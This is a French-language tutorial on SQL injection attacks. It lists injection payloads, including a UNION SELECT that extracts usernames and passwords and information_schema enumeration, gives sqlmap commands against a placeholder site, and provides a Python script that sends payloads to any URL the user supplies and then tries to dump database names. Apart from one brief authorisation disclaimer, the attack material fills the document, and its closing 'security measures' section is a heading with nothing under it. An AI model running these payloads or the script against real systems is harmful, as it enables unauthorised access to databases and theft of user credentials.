Attaque de SQL Injection

Ce tutoriel vous guidera à travers les étapes d'une attaque de SQL Injection (SQLi). Une attaque SQLi permet à un attaquant d'exécuter des commandes SQL arbitraires sur la base de données d'une application web.

Introduction

Les attaques SQLi exploitent les vulnérabilités des applications web qui ne filtrent pas correctement les entrées des utilisateurs, permettant ainsi l'injection de commandes SQL malveillantes.

Prérequis

Étape 1: Identification de la Vulnérabilité SQLi

Pour trouver une vulnérabilité SQLi, recherchez des champs de saisie utilisateur ou des paramètres d'URL qui ne sont pas correctement filtrés. Essayez d'injecter un simple code comme :

' OR '1'='1

Si cela retourne des résultats inattendus, le site est vulnérable au SQLi.

Étape 2: Exploitation de la Vulnérabilité SQLi

Une fois que vous avez identifié une vulnérabilité, vous pouvez injecter des commandes SQL plus complexes pour exfiltrer des données ou manipuler la base de données. Par exemple :

' UNION SELECT username, password FROM users --

Ce code retourne les noms d'utilisateur et les mots de passe des utilisateurs.

Étape 3: Utilisation d'Outils pour Automatiser l'Exploitation

Des outils comme sqlmap peuvent automatiser l'exploitation des vulnérabilités SQLi. Pour utiliser sqlmap :

sudo apt-get install sqlmap

Lancez sqlmap :

sqlmap -u "http://vulnerable-site.com/page?id=1" --batch --dbs

Cette commande teste l'URL spécifiée pour les vulnérabilités SQLi et liste les bases de données disponibles.

Script Python pour SQL Injection

Le script suivant permet d’automatiser la détection de vulnérabilités SQLi et d’extraire des données dans un environnement de test :


import requests
import time

def test_sqli(url, payloads):
    print("\n[+] Test des vulnérabilités SQLi sur :", url)
    vulnerable = False
    for payload in payloads:
        print(f"[*] Test avec le payload : {payload}")
        target = f"{url}{payload}"
        try:
            response = requests.get(target, timeout=5)
            if "error" in response.text.lower() or "sql" in response.text.lower():
                print("[!] Vulnérabilité SQLi détectée avec le payload :", payload)
                vulnerable = True
                break
        except requests.exceptions.RequestException as e:
            print("[!] Erreur : Impossible de se connecter à l'URL.")
            print(str(e))
            break
    if not vulnerable:
        print("[*] Aucune vulnérabilité détectée avec les payloads fournis.")
    return vulnerable

def extract_databases(url):
    print("\n[+] Tentative d'extraction des bases de données...")
    payload = "' UNION SELECT schema_name, NULL FROM information_schema.schemata --"
    target = f"{url}{payload}"
    try:
        response = requests.get(target, timeout=5)
        if response.status_code == 200:
            print("[!] Bases de données détectées :")
            print(response.text[:500])  # Limite pour éviter trop de données à l'écran
        else:
            print("[*] Aucune base de données détectée.")
    except requests.exceptions.RequestException as e:
        print("[!] Erreur lors de l'extraction :", str(e))

def main():
    print("=== SQL Injection Tester ===")
    url = input("Entrez l'URL cible (ex: http://site.com?id=1) : ")
    payloads = [
        "' OR '1'='1",
        "' UNION SELECT NULL, NULL --",
        "' AND 1=2 UNION SELECT table_name, column_name FROM information_schema.columns --",
        "' OR SLEEP(5) --"  # Test de Blind SQLi temporelle
    ]
    print("\n[+] Lancement des tests...")
    if test_sqli(url, payloads):
        print("[+] Le site est vulnérable à une attaque SQLi.")
        extract_databases(url)
    else:
        print("[+] Le site semble sécurisé contre les payloads testés.")

if __name__ == "__main__":
    main()
        

Ce script teste automatiquement les vulnérabilités SQLi, vérifie si le site est vulnérable et tente d'extraire des données.

Important : Utilisez ce script uniquement dans un environnement contrôlé ou avec l'autorisation explicite des propriétaires des applications web ciblées.

Mesures de Sécurité

Pour se protéger contre les attaques SQLi, suivez ces bonnes pratiques :